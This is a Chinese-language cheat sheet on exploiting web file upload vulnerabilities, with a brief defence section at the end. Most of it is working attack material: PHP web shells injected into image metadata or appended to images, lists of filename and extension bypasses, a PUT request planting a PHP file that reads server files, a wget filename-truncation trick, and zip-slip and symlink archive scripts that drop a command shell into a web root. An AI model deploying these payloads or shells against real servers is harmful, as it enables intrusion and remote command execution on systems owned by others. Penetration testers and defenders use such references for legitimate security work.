文件扩展名

介绍

文件上传功能是在 WEB 应用程序交互中不可或缺的一部分,他允许我们上传文件到达服务器进行存储并显示,但是如果对文件上传的内容(类型、大小、名称)没有做好过滤以及限制的时候文件上传漏洞就会出现,攻击者通常会上传一些特殊的文件来实现一些攻击,常见的有覆盖服务器上现有文件、向服务器上传和执行SHELL、上传大文件、注入恶意网页实现 XSS/CSRF

思路

  • 覆盖服务器现有文件
  • 服务器上传和执行 SHELL
  • 上传至其他目录

目标列表

可以利用文件上传实现的目标:

  • ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  • SVG: 存储的XSS / SSRF / XXE
  • GIF: 存储的XSS / SSRF
  • CSV:CSV注入
  • XML: XXE
  • AVI: LFI / SSRF
  • HTML / JS : HTML注入 / XSS / 打开重定向
  • PNG / JPEG: 像素泛滥攻击(DoS)。
  • ZIP:通过LFI的RCE/DoS
  • pdf / pptx:SSRF / 盲目XXE

攻击

有时候可能存在 JS 客户端过滤直接把这一段代码删去即可

Content-Type 幻数

  1. exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
  2. \ or you could also introduce the payload directly in an image:
  3. echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

文件扩展名

  • 大小写扩展名
  • 双写扩展名
  1. exploit.p.phphp
  2. exploit.phphpp
  3. file.png.jpg.php
  4. file.php%00.png%00.j
  • 特殊后缀名
  • 提供多个扩展, 根据用于解析文件名的算法,以下文件可能被解释为 PHP 文件或 JPG 图像:exploit.php.jpg
  • 添加尾随字符, 一些组件会去除或忽略尾随的空格、点等:exploit.php.
  • 尝试对点、正斜杠和反斜杠使用 URL 编码(或双重 URL 编码)。如果在验证文件扩展名时该值未被解码,但稍后在服务器端被解码,这也可以让您上传本来会被阻止的恶意文件:exploit%2Ephp
  • 添加垃圾数据来欺骗服务器
  1. file.png.php
  2. file.png.pHp5
  3. file.php%00.png
  4. file.php\x00.png
  5. file.php%0a.png
  6. file.php%0d%0a.png
  7. file.phpJunk123png
  • 尝试使用多字节 unicode 字符,这些字符在 unicode 转换或规范化后可能会转换为空字节和点。 如果文件名被解析为 UTF-8 字符串,则 xC0 x2E、xC4 xAE 或 xC0 xAE 等序列可能会被转换为 x2E,但在用于路径之前会被转换为 ASCII 字符。
  • 在Windows中使用NTFS备用数据流(ADS)。在这种情况下,一个冒号字符”: “将被插入到禁止的扩展名之后和允许的扩展名之前。结果,在服务器上将创建一个具有被禁止的扩展名的空文件(例如 “file.asax:.jpg”)。这个文件以后可能会使用其他技术进行编辑,例如使用其短文件名。”::$data “模式也可以用来创建非空的文件。因此,在这个模式后添加一个点字符也可能有助于绕过进一步的限制(例如,”file.asp::$data.”)。
  • 利用文件名长度限制, 有效扩展名被切断, 恶意 PHP 被留下
  1. # Linux maximum 255 bytes
  2. /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
  3. Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
  4. # Upload the file and check response how many characters it alllows. Let's say 236
  5. python -c 'print "A" * 232'
  6. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  7. # Make the payload
  8. AAA<--SNIP 232 A-->AAA.php.png

竞争条件

文件上传位置和最终存放位置不在同一个目录

  • 服务器接受到文件后,不再进行验证直接转移目录,我们可以使用爆破不断访问这个文件使其不能正常转移
  • 服务器接受文件后,先存放后验证如果没有通过则删除

使用 PUT 上传文件

值得注意的是,某些 Web 服务器可能配置为支持PUT请求。如果没有适当的防御措施,这可以提供一种上传恶意文件的替代方法,即使上传功能无法通过 Web 界面使用。

  1. PUT /images/exploit.php HTTP/1.1
  2. Host: vulnerable-website.com
  3. Content-Type: application/x-httpd-php
  4. Content-Length: 49
  5. <?php echo file_get_contents('/path/to/file'); ?>

多文件上传

服务器只对上传的第一个文件做了检验,然后忽略了对其他文件的检查

中间件解析漏洞

其他技巧

  • 找到一个重命名漏洞,来修改已经上传的文件
  • 寻找 LFI 漏洞来执行后门
  • 可能的信息泄露:
    • 多次上传具有相同名称的相同文件
    • 使用已经存在的文件或文件夹上传文件
    • 上传一个以”.”、”. “或”… “为名称的文件。例如,在Windows的Apache中,如果应用程序将上传的文件保存在”/www/uploads/“目录中,”. “文件名将在”/www/“目录中创建一个名为 “uploads “的文件。
    • 上传一个可能不容易被删除的文件,如NTFS中的”…:.jpg”。 (Windows)
    • 在Windows中上传一个名称中含有无效字符的文件,如|<>*?”。(Windows)
    • 在Windows中使用保留(禁止)的名称上传文件,如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9
  • 上传一些其他文件比如 exe 或者 .html 等等,当目标端有人打开时就会执行

特殊技巧

如果尝试将文件上传到 PHP 服务器,可以尝试上传 .htaccess文件

如果尝试将文件上床到 ASP 服务器,可以尝试 .config文件

wget 文件上传/SSRF 技巧

在某些情况下,你可能会发现一个服务器正在使用wget下载文件,你可以指明URL。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单内,以确保只有允许的文件才会被下载。然而,这种检查可以被绕过。

在linux中,文件名的最大长度是255,但是,wget将文件名截断为236个字符。你可以下载一个名为 “A “232+”.php “+”.gif “的文件,这个文件名将绕过检查(因为在这个例子中”.gif “是一个有效的扩展名),但wget会将文件重命名为 “A “232+”.php”。

  1. #Create file and HTTP server
  2. echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
  3. python3 -m http.server 9080
  1. #Download the file
  2. wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
  3. The name is too long, 240 chars total.
  4. Trying to shorten...
  5. New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
  6. --2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
  7. Connecting to 127.0.0.1:9080... connected.
  8. HTTP request sent, awaiting response... 200 OK
  9. Length: 10 [image/gif]
  10. Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
  11. AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
  12. 2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

请注意,你可能想到的另一个绕过这个检查的办法是让HTTP服务器重定向到一个不同的文件,这样最初的URL就会绕过检查,然后wget会用新的名字下载重定向的文件。除非wget在使用参数—trust-server-names的情况下,否则这不会起作用,因为wget会用原始URL中的文件名来下载重定向的页面。

压缩文件自动解压上传

符号链接

上传包含指向其他文件的软链接的链接,然后,访问解压后的文件,您将访问链接的文件:

  1. ln -s ../../../index.php symindex.txt
  2. zip --symlinks test.zip symindex.txt
  3. tar -cvf test.tar symindex.txt

解压到不同的文件

解压后的文件将被创建在意想不到的文件夹中。

人们可以很容易地认为,这种设置可以防止通过恶意文件上传的操作系统级命令执行,但不幸的是,这不是真的。由于ZIP档案格式支持分层压缩,我们也可以引用更高层次的目录,我们可以通过滥用目标应用程序的解压功能来逃避安全的上传目录。

在这里可以找到一个创建这类文件的自动漏洞:https://github.com/ptoomey3/evilarc

  1. python2 evilarc.py -h
  2. python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

你也可以在evilarc中使用符号链接的技巧,如果标志在/flag.txt中,确保你为该文件建立一个符号链接,并在你的系统中创建该文件,这样当你调用evilarc时,就不会出错。

一些python代码来创建一个恶意的压缩文件:

  1. #!/usr/bin/python
  2. import zipfile
  3. from cStringIO import StringIO
  4. def create_zip():
  5. f = StringIO()
  6. z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
  7. z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
  8. z.writestr('otherfile.xml', 'Content of the file')
  9. z.close()
  10. zip = open('poc.zip','wb')
  11. zip.write(f.getvalue())
  12. zip.close()
  13. create_zip()

为了实现远程名称命令执行,我们需要采取以下步骤:

  1. 创建一个 PHP SHELL
  1. <?php
  2. if(isset($_REQUEST['cmd'])){
  3. $cmd = ($_REQUEST['cmd']);
  4. system($cmd);
  5. }?>
  1. 使用 “file spraying “并创建一个压缩的压缩文件:
  1. root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
  2. root@s2crew:/tmp# ls *.php
  3. simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
  4. xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
  5. xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
  6. root@s2crew:/tmp# zip cmd.zip xx*.php
  7. adding: xxAcmd.php (deflated 40%)
  8. adding: xxAxxAcmd.php (deflated 40%)
  9. adding: xxAxxAxxAcmd.php (deflated 40%)
  10. adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  11. adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  12. adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  13. adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  14. adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  15. adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  16. adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  17. root@s2crew:/tmp#
  1. 使用hexeditor或vi,将 “xxA “改为”…/“,我用的是vi:
  1. :set modifiable
  2. :%s/xxA/..\//g
  3. :x!

完成了!

只剩下一个步骤了: 上传ZIP文件,并让应用程序解压! 如果它成功了,而且网络服务器有足够的权限写入目录,那么系统上就会有一个简单的操作系统命令执行外壳:

文件上传 - 图1

Polyglot Files

在安全方面,”多面手 “是指具有多种不同文件类型的有效形式的文件。例如,GIFAR既是一个GIF,也是一个RAR文件。还有一些文件既可以是GIF也可以是JS,既是PPT也是JS,等等。

多语言文件经常被用来绕过基于文件类型的保护。许多允许用户上传文件的应用程序只允许上传某些类型的文件,如JPEG、GIF、DOC,以防止用户上传潜在的危险文件,如JS文件、PHP文件或Phar文件。

这有助于上传一个符合几种不同格式的文件。它可以让你上传一个PHAR文件(PHp ARchive),看起来也像JPEG,但可能你仍然需要一个有效的扩展名,如果上传功能不允许,这将不会帮助你。

文件上传到其他漏洞

防御

1. 扩展名验证

理论上来说文件扩展名用于标识文件的内容,但是因为很容易改变所以意义不大, Windows 按照文件扩展名来标识文件内容,UINX 依赖于文件头

2. 文件类型验证

  1. MIME 验证: 当上传文件时,MIME 类型会附加在请求的标头中
    文件上传 - 图2
  2. 幻数验证:幻数是确定文件内容更为准确的方法,所谓幻数其实是文件内容最开头的一串字节,用于标识内容
    文件上传 - 图3

3. 文件大小过滤

大部分服务器都会设置上传的文件大小,这时候我们需要使用合理范围之内的文件大小上传

4. 文件名过滤

  • 上传到服务器的文件必须是唯一的
  • 对文件名进行清理以保证文件不会存在一些特殊字符比如: 空字节、\

5. 文件内容过滤

扫描上传文件全部内容,以确保没有欺骗扩展名、MIME 类型和幻数.

工具&资料